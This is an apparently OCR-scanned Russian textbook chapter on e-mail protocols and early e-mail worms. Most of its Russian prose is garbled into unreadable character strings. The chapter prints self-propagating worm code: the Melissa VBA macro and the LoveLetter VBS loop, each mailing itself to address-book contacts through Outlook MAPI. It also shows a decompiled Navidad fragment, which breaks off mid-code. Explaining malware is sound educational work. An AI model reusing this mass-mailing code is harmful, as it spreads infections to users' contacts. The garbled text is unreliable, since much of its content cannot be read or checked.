ITochutka 1 TPUEM JIEKTPOHHOI MTOYTHI OB OCHOBHBIME 3a[auaMu, JIJIst
pelieHusT KOTOPhIX TIePBOHAYAIbHO TPeHA3HAYAINCh KOMIbIOTEPHBIE
cetu. CxemblI pelieHus aTUX 3aj[ad B OCHOBHOM cJoxuiuch B 1970-x ro-
nax: paspaboTranbl IpoTOKObL cemeiicTs POP u SMTP, meTozbl Kogupo-
BaHUSI TIEPEIABAEMbBIX JIAHHDIX, CIIOCOOBI X MEPelaudl U XPAHEHUS U T. II.
B nacrosgiee Bpemst crcTeMa 3JI€eKTPOHHON TTOUThI YCTPOEHA CIIEYIONTIM
00pasoM.

[TucbeMa HOpMUPYIOTCS, OTCHLTAIOTCS MOJIyYaTesTio, a TakXKe MPUHU-
MaIOTCSI ¥ OTOOPAKAIOTCS TP TIOMOIIHU CHEIUATBHBIX POTPaMM — MOY-
TOBBIX KJMEHTOB, Takux kak MS Outlook umu TheBat. @opmar asexr-
ponHoro nucbMa crangaptuzoBad B RFC-822. [Tucbmo cocTouT us nyx
TEKCTOBBIX YaCTel:

QO 3arosoBKa;

O Tekcra nmuchMa.

3aroJIOBKU MHUCEM MOTYT COJepKaTb MHOXKECTBO CIIDABOYHBIX I10JIEH
(«Reply-To:», «Comment:», «X-Special-action:», «X-Mailer:» u npoune),
HO MUHUMAJIbHO HEOOXOMMBIMU SIBJISTIOTCSI CJIEYIOTITHE:

O «Date:» — mara MOCBUIKH COOOIIEHMS;

O «From:» — 2JIeKTPOHHBII aJ[pec OTIIPaBUTEIS;

O <«To:» — 2JIeKTPOHHBIH ajipec MoJTyyaTes;

O <«Subject:» — Tema mucpmal.

Dopmat azpeca OTIIPABUTEIS M ITOTydYaTe sl OCHOBAH HA PACCMOTPEH-
HOI1 BblllIe IOMEHHOM cHcTeMe: CaMblil [IPaBblil 9JIeMEHT XapaKTepusyeT
reorpaduyeckyio 30Hy WM Ha3HauYeHUe OPraHu3aluu, IPeAIocaeHIH —

! Ha camom JI€JIE€ ITO T10JI€ MOJKET OTCYTCTBOBATD.
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JOMeHHOe UMsI TIpoBaiiziepa u T. . Ho, B oT/inune OT CUMBOJIBHBIX WH-
TEPHET-a/IPECOB, B IIOUYTOBOM aJIPece MPUCYTCTBYET ellle UM [10JIyJaTers,
OT/IEJIEHHOE OT OCTAJBHBIX MOJIel cUMBOJIOM «@», Hanpumep «kostya@
asni.volgacom.samara.su».
3a IepechUIKy IHMCEM II0 MUPY OTBEYAIOT KOMIIBIOTEPBHI (<«IIOYTOBbBIE
CepBepbI» ), HA KOTOPBIX 3AIyIIEHbI TPOIIECCHI IBYX TUIIOB:
O cepBepsbl 10JIydeHHs 0YThI, paboTaoliye 1o mporokoay SMTP
yepes opT 125;

O cepBepbl «BblAYK» [TOYTHI, paboTatonue 1o npoTokosy POP3 ye-
pe3 nopt 110 (uiu, unorsa, o nmporoxkosry IMAP uepes noprer 143
u 220).

Ha atux e KOMIIbIOTEPAX PACIIOJNArAIOTCS U <IIOYTOBbIE SIUKU» —
TekcToBbIe (hailsibl, copepskane uchbMa. IIporpammuoe obecriedenie
[IOYTOBBIX CepBepoB MoxkeT paborarh Kak mox UNIX-momoOHbIMU ore-
paronHbiMu cuctemMamu (sendmail, exim, postfix u . 1m.), Tak u nox
Windows (xMailServer).

[Tpeske yeMm 106paThest 10 MoJTydaTesis, HIeKTPOHHOE THCHMO 0OBIUHO
[IPOXO/IUT I10 I[ETI0YKE ITPOMEKYTOUHBIX IIOYTOBBIX CEPBEPOB, KOTOPbIE Ha-
3BIBAIOTCST «peesimiy. Ho BO3MOKHA U «IIPsIMAsi OCTABKA» 9JIEKTPOHHO-
0 MUChMa Ha TOT CePBEp, ¢ KOTOPOTO KJIUEHT-TI0IYYaTe b 3a0UpaeT mouTy
(1a puc. 6.9 a10T cr1oco6 KOCTaBKK 0603HAYEH IIYHKTUPHOI CTPEIKOIL).

KnueHr- Cepsep- Cepeep- Knnewr-
oTnpasuTens peneit penei nony4arerns
MoYToBkIA > MouToBbLIA ol MoyToBbIA > MoyToBbLIA
ALK SMTP ALLMK SMTP SILLIAK POP3 AWK
™~ SMTP 7
"h-...__ /

Puc. 6.9 « [locTaBka 9N1EKTPOHHON NOYThI

Kaskplit 1mar B 9TO# 1eII0YKe aBTOMATUYECKH IIOMeYaeTCs OTAeJIbHOM
CTPOKOI, TMPUTTICHIBAEMON CBEPXY K 3arOJIOBKY 3JIEKTPOHHOTO MHCHMA.
Takum 06pasoM, 110 3ar0JIOBKY MUChbMa 00BIYHO MOKHO ONPEAEIUTh My Th
MACHhMa OT OTTIPABUTEIS K TIOJTydaTesito. BoT mpumep ajIeKTPOHHOTO TTHCh-
Ma, KoTopoe rosb3oBaresib Bacsa [Tynkun nocstan Marnre Becnynkunoii:
Received: from [10.8.2.22] (HELO mx22.rambler.ru)

by mail80.rambler.ru (CommuniGate Pro SMTP 4.2.10)
with ESMTP id 23780972 for masha-vesnushkina@rambler.ru;

Sat, 07 Feb 2003 17:16:04 +0300
Received: from n7.bullet.mail.ac4.yahoo.com
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(n7.bullet.mail.ac4.yahoo.com [76.13.13.235])

by mx22. rambler.ru (Postfix) with SMTP id 5A6AA89A457

for <masha-vesnushkina@rambler.ru>; Sat, 7 Feb 2003 17:16:04 +0300 (MSK)
Received: from [76.13.13.25]

by n7.bullet.mail.ac4.yahoo.com with NNFMP; 07 Feb 2003 14:16:03 -0000
Received: from [76.13.10.177]

by t4.bullet.mail.ac4.yahoo.com with NNFMP; 07 Feb 2003 14:16:03 -0000
Received: from [127.0.0.1]

by omp118.mail.ac4.yahoo.com with NNFMP; 07 Feb 2003 14:16:03 -0000
Received: (gmail 15799 invoked by uid 60001); 7 Feb 2003 14:16:02 -0000
Received: from [85.113.33.18] by web111212.mail.gqg1.yahoo.com via HTTP

Sat, 07 Feb 2003 06:16:02 PST

Date: Sat, 7 Feb 2003 06:16:02 -0800 (PST)
From: Vasya Pupkin <vasya-pupkin@yahoo.com>
Reply-To: vasya-pupkin@yahoo.com

Subject: [MpuseTt

To: masha-vesnushkina@rambler. ru

MpueeT! Kak Tol xuBewb? A xuy xopowo! [Muwn novawe! YMOKM-4YMOKM

Bacs

W3yuast 3aT0JI0BOK, MOKHO TIOHATh, UTO TIEPBOHAYAIBHO TIHCHMO OBLIO
cOpPMUPOBAHO B MOYTOBOM BeO-uHTEpdElice U MOTYUYEeHO MOYTOBBIM
cepsepoM mposaiigepa «Yahoo» uepes nporokosn HTTP. 3atem ono mpe-
TepIiesio HeOTHOKPATHbBIE TIepeMellleHUs MeXIY peJIefHbBIMU cepBepaMu
1ouTOBOM cayxk0bl «Yahoo». OGpaTure BHUMaHUE, YTO IPU ITUX BHYT-
PEHHIX TIEPEChIIKAX B 3ar0JI0BKE MMChMa ObLIU 3a(bUKCUPOBAHBI HE TOJIb-
KO JIOMeHHbIe nMeHa pesees (Tuma «t4.bullet.mail.ac4.yahoo.com»), #o
ux IP-azpeca. 1 Hakonel, nuchbMo ObLIO OTIIPABJIEHO Yepe3 OKeaH — OT-
euecTBEHHOMY TIpoBaiiziepy «Ramblers npu momorn nporoxoaa SMTP.

A BOT TIpUMep THCHbMA, MTOCJAHHOTO HENOCPEJCTBEHHO Ha <«(uHuUIIl-
HbIl» cepBep. B TakoM peskumMe 0ObIMHO PaCIPOCTPAHAIOTCS MOYTOBbIE
BUPYCHI U CIlaM — HAaBA34YMBas pekjaMa HU3KOKAYeCTBEHHBIX TOBAPOB U
6eCIIOJIE3HBIX YCIIYT.

Received: from yourfriend (unknown [89.182.246.204])

by mx11.rambler.ru (Postfix) with SMTP id 76A3D34D46C

for <masha-vesnushkina@rambler.ru>; Thu, 19 Feb 2004 22:14:00 +0300 (MSK)
Date: Wed, 18 Feb 2004 21:18:13 +0400
From: Yourfriend <superboy@myhost.com>

To: masha-vesnushkina@rambler.ru
Subject: Bblyun aHrnuinckuit 3a 5 MuHyT!

Pacceinky no E-mail. 06xom niobsix ¢punsTpoB. YmeperHsie uersl. ICQ: 397095807
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OG6paruTe BHUMAHUE, YTO B HTOM 3aTOJIOBKE MIPUCYTCTBYET BCETO OJ[HA
3aIUCh € KJII0YEBBIM CII0BOM «Receiveds: cepep IPUHSLI THCHMO 110 TTPO-
tokosy SMTP nanpsimyio ot Kakoii-to rnporpamMmbl. B aToii 3ammcu agpec
ornpasutesis «superboy@myhost.com» MOJHOCTBIO BBIMBIIILIEH, 3aTO
npucytctByeT [P-afipec MaimmunHbl, ¢ KOTOPO# nputwio nucbMo. Ho paso-
Barbcd pano. Cropee Bcero, MalliiHa IIPOCTO 3apaskeHa MOYTOBBIM BUPY-
COM WJIM TPOSTHCKOM ITPOTPaMMOIi, KOTOPbIE U PACCHIIAIOT cllaM. A X0391H
MalmHbl 06 9TOM U He TI0/I03PEBAET.

PacemoTpuM Hanbosiee 4acTo BCTPEYAIONINECS METO/bI U aJITOPUTMBI,
[IPU TIOMOIIM KOTOPBIX MTOYTOBBIE BUPYCHI YMEIOT PACCHIIATH CAMUX ceOst
110 MUDY.

6.4.2.1. Ilepsovie noumosvie eupycot. Humepgpeiic MAPI

Nrax, B Hauasie 1999 r. Oblta OTKPHITA HOBAst CTPAHUIIA B UCTOPUH CETE-
BbIX uepBeil u BUpycoB. CIIyCTs IeCSTUIIETHE TIOCJIE HHITUIEHTA C <4EPBEM
Moppuca» BUpycOIHCaTeJd BHOBb 00PATUJIM CBOE IIPUCTAIbHOE BHUMA-
HUe Ha TJI00aIbHBIE KOMITBIOTEPHBIE CeTH. B MepBy1o ouepe/b NX 3alHTe-
pecoBasia BO3MOKHOCTb CAMOPACCHLIKU «3aPa3bl» CPEACTBAME JJIEKTPOH-
HOU TTOYTHI.

«IlepBoii nacroukoii HOBOU BecHbl» cTays BUpyc E-Worm.Win32.
Happy (on e Spanska, o sxe Happy99, on sxe Ska), ucrionbzosasiimii
JIOBOJIbHO 3aMbICJIOBATYIO TEXHUKY BCTPAMBAHMS CBOETO KOJA B CUCTEM-
Hyto 6ubmmoreky «WSOCK32.DLL»>. TlepexBatbiBasi hyHKIIH PabOTHI
¢ cokeramu (KOHKpeTHee «connects u «send» ), BUPYC OTCaeKUBaN (haKT
YCTAHOBJIEHUS COEMHEHUS C yaaJeHHbM Xo0cToM depe3 SMTP-mopt 25,
U3BJIEKAJ M3 IOCHLJIAEMBIX IIAKETOB JIPEC MTOJIYUATENSI U TYT JK€, BIOTOHKY
K TIOCJAHHOMY <«JIETAJIbHOMY> THChMY, OTIIPABJISLI cebst, itobumoro. Ta-
kuM o6pasom, E-Worm.Win32.Happy 11o11a/1aj TOJbKO K TeM ajpecaram,
KOTOPBIE MTOJIy4YaJIu BIIOJIHE «HOPMAJIbHBIE» TUCHMA OT XO35IMHA 3aPAsKEeH-
HOI MAaIIIUHBL. 3Ha‘{I/ITeJIbH0ﬁ IIMNAEeMIHN BHUPYC HE BbI3BaJI, HO 3aCTaBUJI
CIIEIMAIICTOB B chepe KOMITBIOTEPHOU OE30IIACHOCTH HACTOPOKUTHCSL.

[Iponomxenue nocaenoBano B KoHile Mapra Toro xe, 1999 roxa. 1 xa-
KOe TIpojioJiKeHue!

B upesBpruaiino nomysisipHoil (y OInpesiesieHHOTO KpyTa JIMI]) aHTJIo-
SI3BIYHOU TPYTITe HOBOCTEl «alt.sex» mosiBuimch Heckobko Word-oKy-
MEHTOB C «XaJABHBIMHWY» ITAaPOJIAMU JIJIA JOCTYIIAa K IJIATHBIM HOpHOCHﬁ-
tam. «OTpenesleHHbIN KPYT JIHUI», PA3yMEeTCsT, HEMeTeHHO 03HAKOMUJICST
C COMIEPKAHMEM ITUX JOKYMEHTOB U IMOCTYIUJI B COOTBETCTBUU C JIO3YH-
TOM <«IIPOYTH U TIepejiaii ToBapuiity». Bripouem, aToro y:xe He Tpe6OBAIOCH.
[MopHomokyMeHTBI (2 TOUHEE 3aKTIOYEHHBIE B HUX 9K3EMILISIPbI MAKPOBH-
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pyca Macro.Word97.Melissa) npussiiuch ¢ 6ermeHoi CKOpoCThIO Pacehi-
JIaTh caMuX cebs 110 ajipecam, Hall/IeHHbIM B a/IPECHBIX KHUTaX JI00UTeei
«kiy6HrnuK>. OGHAPY/KUB B CBOEM MTOYTOBOM ATNIUKE CTPAHHBIE THCHMA,
ouepeIHbIe TOJyYaTes i 3HAKOMUJIUCH € UX COAEPIKUMBIM... U TOTYAC JKe
caM¥ CTAaHOBMJIMCh MCTOYHUKOM 3apasbl. Terepb yske PacchlIaUCh He
TOJIBKO <IIapOJIK K HMOpHOcaiTamM», HO ¥ Jo0ble Word-10KyMeHTbI, CO3-
JAaHHbBIC WJIM OTPE/JAaKTUPOBAHHbIC HA 3apa’KeHHBIX MammHax. [Ipu atom
MCIOJIb30BAJIUCH BIIOJIHE JIETATbHbIE PEKBU3UTBI HUYETO HE M0/I03PEBaB-
IIUX [0JIb30BATENEN: UMSsT, 0OPATHBII aipec, JIOTUH U TIAPOJIb JIJIst OCTYTIA
Kk SMTP-cepBepy nposaiijiepa u T. 1. INUJAEMUS CTPEMUTENBHO Pa3pac-
Tanach. B KPyNHBIX KOPIOpAIMAX, TTOJTH30BABIIMXCS yCJAyTaMU 2JIEKT-
POHHOIT 1TOYTEI, OBLIM BHEIPEHBI CUCTEMbI ABTOMATU3AIUH J[OKYMEHTO-
0bopoTa — MPUXOJAIINE THChMA <IIPOYUTHIBAINUCHY, AHATU3UPOBAIIICH
U PACChLIAIUCH TI0 OT/iesiaM Ge3 ydacTusi 4ejioBeka. Bee takue cucteMbl
HeMe/IJIEHHO 3aPa3uJIuCch ¥ CTAJIU UCTOUHUKAMU COTEH ThICIY U MUJIIIHO-
HOB BUPYCHBIX PACcCHIIOK. B MOYTOBbIE ANMKK PSAJOBBIX M0JIb30BaTe e
MUCbMa C 3aPAKEHHBIMU JJOKYMEHTAMU «CBHITIAJIMCh» HellpepbiBHO. Odu-
cbl Microsoft, Intel u Lockheed by kmemsl ObLay OTKIIOUYUTD CBOU CH-
CTeMbl aBTOMATUYECKOTO OKyMeHTo060poTa. «OcTpyio dhasy» MUPOBOii
snngemun Bupyca Macro.Word97.Melissa ynanoch 06y31aTh IPUMEPHO
yepes HeJlellio TI0C/Ie ee Hauasa, HO «00JIe3HETBOPHBIEY HChMa MTPOJI0JI-
JKAJTM PACCBHIJIATHCS € 3aPAKEHHBIX KOMITBIOTEPOB «MEJIKUMHU TTAPTUAMUS>
ele O4eHb JI0JITO — OOJIbIIIe TOA.

ABTOpa BUpYyCa, MOAINCABIIETOCS B TEKCTE MAKPOBUPYCA IICEBAOHUMOM
«Qwyjiboy, rarm 6picTpo. OH He yues, 4To B 3aT0JIOBKE CTPYKTYPUPO-
BanHoro xpanusuina coxpansercss GUID mamimnpl, aBTOMaTUuecku cre-
HEPUPOBAHHbBIN HAa ocHOBanuu yHukaiabHoro MAC-ajipeca ceteBoit Kap-
Tb1. Crenciry k0bl IPoBeI MaccoBoe ckanuposanue secex DOC-daiiios,
xpaHsiuxcs B IHTepHeTe Ha MHOTOYKMCJIEHHBIX XaKePCKUX caiitax, u 06-
HapPYKUJIM 110 KpaliHeil Mepe [[Ba «IIpoToTuiia» Bupyca Macro.Word97.
Melissa, umeronux anajsornunsiii GUID u nmoanmucannbix 1ceBioHuMa-
Mmu «VicodinEs» u «Alt-F11». ITociie aToro nommMka aBropa CI0KHOCTEN
He Bbi3Basta. Vim okazasica 30-nerunit {asuya JIu Cvmut uz Heio-/>kepen.
«3somest» ocyanan Ha 10 jier inierst cBOOObI, HO BBIITYCTUJIM <32 [IPH-
MepHOe TIoBejieHnes yxe yepe3 20 mecsiies.

Kak ke cymes BecbMa IPUMUTHUBHBIN MakpoBupyc Macro.Word97.
Melissa 1o6uThcs crob Bredarsaiomero s¢pdexra? OH COCTOUT BCEro
n3 ogHoro makpoca «Document Opens, Hanmrcannoro Ha s3bike VBA.
Kak u mo60ii «HOpMasbHbIi» MakpoBupyc, Macro.Word97.Melissa,
CTApTOBAB M3 3aPaKEHHOTO JOKyMeHTa, 3amucbiBaercs B «NORMAL.
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DOT». 1 naoboport, cTaproBaB U3 rio0aJbHOTO MabI0Ha, TTOMENaeT
cebst BO BCe OTKPbIBaeMble IOKYMEHTHI. /leslaeT OH 3TO BCe TOXKE J0BOJIb-
HO TPAAUIIMOHHO — TpHU oMol MeTona «InsertLiness, mpunaziexa-
mero cBoiictBy «CodeModule» o6bekra «VBProject». Kasanoch 66,
JIOBOJIBHO OOBIKHOBEHHBI, HUYEM He MPUMedaTeJbHbIii MaKpOBUPYC.
Camas «<MHTepecHas» 4acTh BUPYCA 3aKII0UYEHA B CJAEAYIONMX HEMHOTO-
YUCJIEHHBIX CTPOKAX:

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application™)
Set DasMapiName = UngaDasOutlook.GetNameSpace( "MAPI")

If UngaDasOutlook = "Outlook™ Then
DasMapiName. Logon “profile”, "password”
For y = 1 To DasMapiName.AddresslLists.Count
Set AddyBook = DasMapiName.AddresslLists(y)
x =1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries. Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep

X =x+1
If x > 50 Then oo = AddyBook.AddressEntries. Count
Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = \

"Here is that document you asked for ... don’t show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice. Send
Peep = "7

Next y
DasMapiName. Logoff
End If

OkasbiBaercst, Bupyc Macro.Word97.Melissa we ncnosbsyer uHTEp-
(beiica cokeToB, He CO3/1a€T KaHATA CBA3M C MOYTOBBIM CEPBEPOM uepe3
mopT 25 u He mockLIaet muceM. He meaer aToro u BUpTyaabHas MalliHa
MS Word, noj yrpasiereM KOTOPOI MakpoBUpYc BbioHsiercs. Ha ca-
MOM [IeJie PACCBIJIKOM MOUTHI 3aHUMAeTCs CTaH/aPTHBIM MTOYTOBBIN KJIN-
ertr MS Outlook, a MaKpOBUPYC TOJIBKO OTAeT €My KOMAH/Ibl, KCIIOJIb3Y s
untepdeiic MAPI. O6 agpece oYTOBOTO CepBEPa, UMEHH MOJIH30BATEIST
1 ero mapoJie 3a00TUTHCS He CTOUT, BE/lb OHU YK€ «3alllUThI» B CIIPABOY-
ubie 6aspr Outlook!

Wrak, sBupyc cospaer oobekT «Outlook», a 3aTeM, mosb3ysich Meroa-
mu cBoiicTBa « MAPI», iepeunciisier nepsoie 50 3amnuceii B aipecHO KHU-
re MOYTOBOTO KJMEHTA M PACCHLIAET IO HUM cebs1 (TO eCTh 3apaskeHHbIN
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DOC-(aiin), cHabauB 2JeKTPOHHOE IUCHMO 3ar0JOBKOM Tuma <«Impor-
tant Message From Bacs [lynkuns.

Bupyc Macro.Word97.Melissa Bbi3Bast Maccy noapaxanuii. Jlecsatku
ero OoJsiee wim MeHee moxoxkux anajioros (Prilissa, Lipossa, Combossa,
Resume, Phram, Venom, Zerg 11 11pouue ) «IyJisiiis» 110 2JIeKTPOHHOM 110Y-
Te ellle ro/ia /IBa-TPHU, He BBI3bIBA, IPAB/IA, CJIMIIKOM YK OOJIBIINX SITH/Ie-
MUiL. SIBJISISIC, 110 CYIIECTBY, OOBIYHBIMU MAKPOBUPYCAMHU, OHU BBIIILIH 13
MOJIbI U «<BBIMEDJIN»> B [IEPBbIE TOJIbI HOBOTO CTOJIETHSI.

Kunciay «11epBbIX» 1 «paHHUX» MOKHO OTHECTH TaK3Ke TOYTOBBIE BUPY -
cbl, HancanHble Ha s3bike VBS — Visual Basic Scripts, elie ogHoii pasto-
BuaHocTH si3bika Visual Basic. 3a seimosnenne VBS-nporpamm (kcraTu,
u ciienapues JScript — Toxke) orBeuaet cepsep ciieHapueB WSH, dynk-
IIUOHAJ KOTOPOTO 3akjioueH B cucteMHbiXx Moayisix « WSCRIPT.EXE»
n «CSCRIPT.EXE». Mo:xHO co3/1aTh TEKCTOBBIN (aii ¢ paciuimpeHnemM
«.VBS» (nnu «.JS»), esKHy Th 110 HEMY MBIIITKOM, U IPOTrPaMMa, HaX0/Is1-
masicst BHyTpu, Oyzier BoimosiHeHa. Ho topasno GoJIbIyIo OmacHOCTh He-
CeT BO3MOKHOCTD 3aIyCKa MOA0OHBIX CKPUIITOBBIX TIPOTPAMM, TIPUKPETI-
JIEHHBIX K 3JIEKTPOHHOMY TIUCbMY B BUjle «aTTtadeil» (Biaoxkeuuii). Crout,
MOJIyYUB 3apa)keHHOE IMUCbMO, MOIbBITATbCI O3HAKOMUTLCSA C aTTadyeM
(IIeJIKHYTh MBIIIKOM 110 €10 MKOHKE ), I BUPYC HEME/IJIEHHO CTapTyeT.

- Sent
- Trash alortin lalacnil e cwslilbgFien Metanarafitare nitns id
hd | &3 [2]
07 vasya-pupkinglyahoc.com 1302 b
Kory masha-vesnushkina@rambler.ru
Tema Susitkim shi vakara kavos poudukui...
A Frarm:  “asya Pupkin <vasya-pupkin@yahoo. comz A
% Reply-To: vasya-pupkin@yahoo. com

LOWE-LETT... Subject: Susitkirm shi va_kara kavos poudukui...
To: masha-vesnushkina@rambler.ru

kindly check the attached LOVELETTER coming from me
] 11

Puc. 6.10 « OnekTpoHHOE NMCbMO C YepBeMm Loveletter

[TepBobiit MOUTOBBIN BUPYC, NCITOJMB30BABIMEI 43bIK VBS, mosgsumics
ocenbio 1999 1. — s1o 6611 E-Worm.VBS.Freelinks. [Totom nocsienoBa-
1 E-Worm.VBS.BubbleBoy, E-Worm.VBS.FireBurn, E-Worm.VBS.
Funny u nipoune, a 8 2000 1. ob6mmmpryio snugeMuio BbizBas E-Worm.
VBS.LoveLetter (ou xe ILoveYou) — cm. puc. 6.10. TToutoBast «3a-
pasa» moso6HOTO copTa He TpeGoBaIa OT ABTOPOB CKOJIb-HUGY/IH BHICO-
Koit kBasdukanuu. B VHTeprere cBOGOIHO HOCTYITHBI OBLIN Jlaske Te-
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HepaTopbl VBS-BUpycos, Mo3BOJIsIBIIINE, OTBETHB Ha PsIJi BOTIPOCOB TUIIA
«Kax 6yzner nasbiBaThes daiin arraua?» mwin «Kakoe coobienue Oyzaer
BBIBOAUTBCS Ha 9KPAH?», 32 HECKOJIbKO CEKYH]] MI3TOTOBUTH TEKCT abCo-
JIIOTHO HOBOTO, HE PACIO3HABAEMOTO aHTUBUPYCAMU TTOYTOBOTO YepPBs
(cMm. puc. 6.11).

Indra ¥YBS Worn Construction Kit [_ O]

-
Authar SuperPuperHacker

“whorm Features
Outlook Spreading
IRC Spreadi
D2 riRC Spreading Dutlook Spreading
Message Subject IM)' rude photos! |

Message Body Hil
[ Look at my nude photos now!

O Infect Outlock just once

Puc. 6.11 < OguH 13 reHepaTopOB NOYTOBLIX YEPBEWA

ITepeyeHb TakUX BUPYCOB, HALITAMIIOBAHHBIX 0e3 yd4acTHS MO3TOB
U BBIMYIIEHHBIX B «JIMKYI0 MPUPOLY», HACUUTHIBAET MHOTHE COTHU Pa3-
HOBUAHOCTEH. AKTUBHO o0cyskaasinuiicst mpeccoit 8 2001 . OYTOBBII
Bupyc «AnHa Kypaukosa» (oH ke E-Worm.VBS.Lee) Toxe He GbLI
HaIlMCcaH CBOMM <«aBTOPOM» — IOHBIM rojutatiiem SlHom me Burtom aka
«OnTheFly», naxe He yMeBIINM IPOTPAMMUPOBATH, — & SIBJISICS PE3YJIb-
taroM paborsl yruiuThl <[ K]Alamar’s Vbs Worms Creators.

IMpunnuner paborsl VBS-uepseil u yepseil, npeacTaBisionmx coboi
makpocsl MS Word, Majio yem orsimyatoTcst Apyr ot apyra. Beap u te, u
Apyrue HalucaHbl Ha OJUSKUX AMaieKTaX OJHOIO ¥ TOIO JKE sI3bIKa IIPO-
rpamMuposanusa — Visual Basic. Bor, nanpumep, kiao4eBoil (pparmenr
moutoBoro YepBsi E-Worm.VBS.LoveLetter. Kak on manmomunaer cepi-
nesuHy Bupyca Macro.Word97.Melissa, e npasua ju?!

Set fso = CreateObject("Scripting.FileSystemObject™)
Set dirsystem = fso.GetSpecialFolder(1)

set out=WScript.CreateObject("Outlook.Application™)
set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapi.AddresslLists.Count

set a=mapi.AddresslLists(ctrlists)

x=1

for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
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set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&“kindly check the attached LOVELETTER coming from me.”
male.Attachments.Add(dirsystem& \LOVE-LETTER-FOR-YOU.TXT.vbs™)

male.Send

X=x+1
next

CiiesryeT MMeTh B BUJLY, YTO XOTS UCXO/[HBIE TCKCTBI YepBEl, HAITMCAH-
Hble Ha VBS, oTKPBITHI, B HEKOTOPBIX CIyYasiX UX UCCJel0OBaHNE 3aTPY/I-
neno. Cama dupma Microsoft mpemycmorpesa Bo3MOKHOCTD HirdpoBa-
Hust ckputitoB pu momoru yrunuTsl «SCRENC.EXE» (Windows Script
Encoder), a pacimgbpoBke TEKCT I0IKEH TTOJBEPraThCS «Ha JIETY», BCTPO-
ennbiMu cpegctBamu WSH. Huuero crpaiiiioro, cyiiecTByeT macca He-
CJIOJKHBIX yTUIUT-<«pactmdposimkoss, HaripuMep «SCRDEC12.EXE»
oT MrBrownstone.

Takum 00pasoM, MOYTH BCE TIOUTOBBIE BUPYCHI PyOeka BEKOB UCIIOJIb-
30BaJsu nmporpammubiit naTepdeiic MAPI.

Boobiie, MAPI (Messaging Application Programming Interface) — ato
MOTIHAST 0OBEKTHO-OPUEHTHPOBAHHAsE GUOIMOTEKA, O3BOJISIONIAS TTPU-
KJIQJHBIM [IPOTPaMMaM PaboTaTh € 3JEKTPOHHOI MOYTOMN, UCIIONB3YsT Me-
tozbl OLE-aBTromarusanum (TO ecTh METO/IBI, TTO3BOJISTIONTHE TTepeiaBaTh
JaHHbIE U3 OJTHOTO TIpuIokeHust Microsoft B ipyroe u yrnpasJisith €ro pa-
6oroit). ITo ymomuario MAPI faetT BO3MOKHOCTD YIIPABJISATH CTAHIAPT-
HbIMK 1104TOBBIME KJeHTaMu «Outlook» u «Outlook Express», Ho He-
KOTOPBIE «HECTAHAAPTHBIE» TIOUTOBBIE TIporpaMmbl (Hampumep, TheBat)
3aMelanT opurnHaabHyto oubanoreky « MAPI32.DLL» cBoeii Bepcueit
1, CJIeIOBATEJIbHO, CAMU HAUMHAIOT BBITIOJTHATD YIIPABJISAIONIME KOMAH/IbIL.
Ira 6ubanoreka cogepkut 6osee 200 pasHOOOPasHBIX MYHKIIUH, HO st
BBIIIOJIHEHMSI OCHOBHBIX ollepaiinii (IlpremMa M IIOCBIJIKHU 2JEeKTPOHHBIX
IIICEM) BITOJIHE JIOCTATOYHO BCETO JIOKUHBL. JTa JI0KUHA 00pasyeT moj-
MHOJKECTBO, M3BeCTHOE Kak «Simple MAPI»:

O «MAPIAddress» — cosgaer nin MoarUIMPYyeT 3alUCU B aJpec-

HOI KHUTE;

O <«MAPIDeleteMail» — ynansier nucbma ¢ cepsepa;

O «MAPIDetails» — BBIBOAUT B AMAIOrOBOE OKHO MHMOPMALIIO 00

ajipecare;

O <«MAPIFindNext»> — BosBpaiaer HAEHTU(DUKATOP OYEPEIHOTO

IIIcbMa Ha cepBepe;
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«MAPIFreeBuffer» — ocBobo:xmaeT maMsTh, BbIAEIEHHYIO IJISI
II0YTOBOU CUCTEMBI,
«MAPILogoff> — 3akpsiBaeT ceccuio paboThbl ¢ TIOYTOBOIM cHCTe-
MOI;
«MAPILogon» — HauMHAET CecCuio pabOThI ¢ IIOYTOBOI CUCTEMOII;
«MAPIReadMail> — npunumaer ¢ cepsepa HUCbMO C YKa3aHHbBIM
u1eHTUMUKATOPOM;
«MAPIResolveName» — comocrasJisieT azpec ¢ IMEHEM aJ[pecara;
«MAPISaveMail» — coxpaHsieT IUCbMO B JIOKAJIbHOM SAIIHKE;
«MAPISendDocuments» — nocbuiaer mucbMo B BUJIE aTTayda;
«MAPISendMail» — nocbruraeT nucbMo, BO3MOKHO, C ATTAUYEM.
Pasymeercst, 1ocTyT K 9TUM (DYHKITHUSIM BO3MOKEH He TOJIBKO U3 CKPHUII-
TOBBIX SI3BIKOB, HO M M3 JIIOOOTO fA3bIKa IIporpaMmupoBanms. Hampumep,
B 2000—2001 rogax mOBOJIBLHO HIMPOKO ObLI pacrpocTpaHeH MOYTOBBIN
yepsb E-Worm.Win32.Navidad, nanucanmsiii za Visual C/C++. [lekom-
MUJINPOBAB TPOTPAMMHBII KOJI 9TOTO YePBsI U TOTBITABINNCH PEKOHCTPYH-
POBATh €0 UCXOHBIN TEKCT, MOKHO MOJIYUNUTD IIPUMEPHO CJIeyTOIIee:

o000 00O O O

LHANDLE Ses; // MAPI-ceccus
char MsgID[513] = NULL; // ID nucbma
MapiMessage =Msg1, =Msg2; // bydepa ang nucem

Sub_401250() {
if (Sub_4010E0()) // Nonyyerune aapecos MAPT-dyHKUMIA
MAPILogon(0, 0, 0, 2, 0, &Ses); // O0TKkpbTNe HoBOW MAPI-ceccuu
}
Sub_401450() { // <- 3pecb Ha4MHaeTCs OparMeHT camopacChiiky
Sub_401250(); // WHuumanuamposaTb MAPT
Sub_401280(); // OTBeTuTbL Ha nucbma
}
Sub_401280() {
while(MAPIFindNext(Ses, 0, 0, MsgID, 0, 0, MsgID)==0) {
MAPIReadMail(Ses, 0, MsgID, 0, 0, &Msgl);

GetModuleFileName( 0, FilePath, 0x104 );

Msg2->1pFiles->1pszPathName = strdup(FilePath)
